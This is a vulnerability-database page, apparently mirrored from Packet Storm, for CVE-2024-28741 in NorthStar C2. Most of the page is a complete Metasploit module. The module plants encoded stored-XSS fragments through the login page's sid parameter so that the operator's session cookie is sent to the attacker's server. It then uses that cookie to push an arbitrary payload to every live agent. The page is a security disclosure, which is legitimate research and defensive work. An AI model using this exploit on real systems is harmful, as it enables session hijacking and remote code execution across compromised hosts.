Lucene search
K

NorthStar C2 Cross Site Scripting / Code Execution

🗓️ 22 May 2024 00:00:00Reported by h00die, chebuya, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 445 Views

NorthStar C2 prior to commit 7674a44 contains a stored XSS vulnerability allowing unauthenticated users to simulate agent registration, leading to session takeover and remote code execution on compromised hosts. Successfully tested on Ubuntu 22.04 and Windows 10 19045.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
NorthStar C2 Agent 1.0 Cross Site Scripting / Remote Command Execution Exploit
12 Mar 202400:00
zdt
GithubExploit
Exploit for CVE-2024-28741
12 Mar 202401:40
githubexploit
Circl
CVE-2024-28741
15 Mar 202420:28
circl
CNNVD
NorthStarC2 跨站脚本漏洞
6 Apr 202400:00
cnnvd
CVE
CVE-2024-28741
6 Apr 202400:00
cve
Cvelist
CVE-2024-28741
6 Apr 202400:00
cvelist
Metasploit
NorthStar C2 XSS to Agent RCE
21 May 202419:56
metasploit
NVD
CVE-2024-28741
6 Apr 202419:15
nvd
Packet Storm
NorthStar C2 Agent 1.0 Cross Site Scripting / Remote Command Execution
12 Mar 202400:00
packetstorm
Positive Technologies
PT-2024-2648 · Egindemirbilek · Northstar C2
11 Mar 202400:00
ptsecurity
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'NorthStar C2 XSS to Agent RCE',  
'Description' => %q{  
NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is  
vulnerable to a stored xss.  
An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.  
With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts  
(agents), and kill the original agent.  
  
Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on  
Ubuntu 22.04. The agent was running on Windows 10 19045.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'chebuya' # original PoC, analysis  
],  
'DefaultOptions' => {  
'URIPATH' => '/' # avoid long URLs due to 20char limit in xss payloads  
},  
'References' => [  
[ 'URL', 'https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/' ],  
[ 'URL', 'https://github.com/chebuya/CVE-2024-28741-northstar-agent-rce-poc' ],  
[ 'URL', 'https://github.com/EnginDemirbilek/NorthStarC2/commit/7674a4457fca83058a157c03aa7bccd02f4a213c'],  
[ 'CVE', '2024-28741']  
],  
'Platform' => ['win'],  
'Privileged' => false,  
'Arch' => ARCH_CMD,  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2024-03-12',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [EVENT_DEPENDENT],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The URI of the NorthStar C2 Application', '/']),  
OptBool.new('KILL', [ false, 'Kill the NorthStar C2 agent', false])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'getin.php'),  
'method' => 'GET'  
)  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
return CheckCode::Detected('NorthStar Login page detected') if res.body.include? '<title>The NorthStar Login</title>'  
  
CheckCode::Safe('NorthStar C2 Login page not detected')  
end  
  
def steal_agents(cookie)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'clients.php'),  
'headers' => {  
'cookie' => "PHPSESSID=#{cookie}"  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
soup = Nokogiri::HTML(res.body)  
rows = soup.css('tr')  
  
agent_table = Rex::Text::Table.new(  
'Header' => 'Live Agents',  
'Indent' => 1,  
'Columns' =>  
[  
'ID',  
'IP',  
'OS',  
'Username',  
'Hostname',  
'Status'  
]  
)  
  
rows.each do |row|  
cells = row.css('td')  
next if cells.length != 9  
  
status = cells[7].text.strip  
next if status != 'Online'  
  
agent_id = cells[1].text.strip  
agent_ip = cells[2].text.strip  
hostname = cells[5].text.strip  
  
agent_table << [agent_id, agent_ip, cells[3].text.strip, cells[4].text.strip, hostname, cells[7].text.strip]  
report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "Northstar C2 Agent Deployed, callback: #{datastore['RHOST']}")  
end  
  
fail_with(Failure::NotFound, 'No live agents to exploit') if agent_table.rows.empty?  
  
print_good(agent_table.to_s)  
  
script_tags = soup.css('script')  
  
csrf_token = nil  
script_tags.each do |script_tag|  
if script_tag.text.include?('csrfToken')  
csrf_token = script_tag.text.split('"')[1]  
break  
end  
end  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find CSRF token") unless csrf_token  
  
vprint_good("CSRF Token: #{csrf_token}")  
  
agent_table.rows.each do |agent|  
agent_id = agent[0]  
hostname = agent[4]  
print_status("(#{agent_id}) Stealing #{hostname}")  
  
vprint_status(" (#{agent_id}) Enabling shell mode")  
agent_exec(agent_id, csrf_token, cookie, 'enablecmd')  
vprint_status(" (#{agent_id}) Running payload")  
agent_exec(agent_id, csrf_token, cookie, payload.encoded)  
vprint_status(" (#{agent_id}) Disabling shell mode")  
agent_exec(agent_id, csrf_token, cookie, 'disablecmd')  
next unless datastore['KILL']  
  
vprint_status(" (#{agent_id}) Killing NorthStar payload")  
agent_exec(agent_id, csrf_token, cookie, 'die')  
end  
end  
  
def agent_exec(agent_id, csrf_token, cookie, command)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'functions', 'setCommand.nonfunction.php'),  
'method' => 'POST',  
'headers' => {  
'cookie' => "PHPSESSID=#{cookie}"  
},  
'vars_post' => {  
'slave' => agent_id,  
'command' => command,  
'sid' => agent_id,  
'token' => csrf_token  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
  
# 1min seems enough, NorthStar mentions 4_000ms response times...  
(2 * 60).times do  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'getresponse.php'),  
'headers' => {  
'cookie' => "PHPSESSID=#{cookie}"  
},  
'vars_get' => {  
'slave' => agent_id  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
if !res.body.empty? || command == 'die'  
vprint_good(" Command sent successfully to agent #{agent_id}, response: #{res.body}")  
return  
end  
Rex.sleep(0.5)  
end  
end  
  
def on_request_uri(cli, request)  
if request.method == 'GET' && @xss_response_received == false  
vprint_status('Received GET request.')  
return unless request.uri.include? '='  
  
cookie = request.uri.split('PHPSESSID=')[1]  
print_good("Received cookie: #{cookie}")  
send_response_html(cli, '')  
@xss_response_received = true  
steal_agents(cookie)  
end  
send_response_html(cli, '')  
end  
  
def xor_strings(text, key)  
text.chars.map.with_index { |char, i| (char.ord ^ key[i % key.length].ord).chr }.join  
end  
  
def srvhost  
datastore['SRVHOST']  
end  
  
def primer  
@xss_response_received = false  
vprint_status('Sending XSS')  
# divide up the host length so that it fits in our payload  
h1 = srvhost[0...srvhost.length / 2]  
h2 = srvhost[srvhost.length / 2..]  
sid_payloads = ['*/</script><', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{datastore['SRVPORT']}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '</td><script>/*']  
sid_payloads.each do |pload|  
pload = "N#{pload}q"  
vprint_status("Sending: #{pload}")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'login.php'),  
'method' => 'POST',  
'vars_get' => {  
'sid' => Rex::Text.encode_base64(xor_strings(pload, 'northstar'))  
}  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code received: #{res.code}") unless res.code == 200  
end  
print_status('Waiting on XSS execution')  
end  
  
def exploit  
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0  
fail_with(Failure::BadConfig, 'SRVPORT and FETCH_SRVPORT must be different') if datastore['SRVPORT'] == datastore['FETCH_SRVPORT']  
super  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation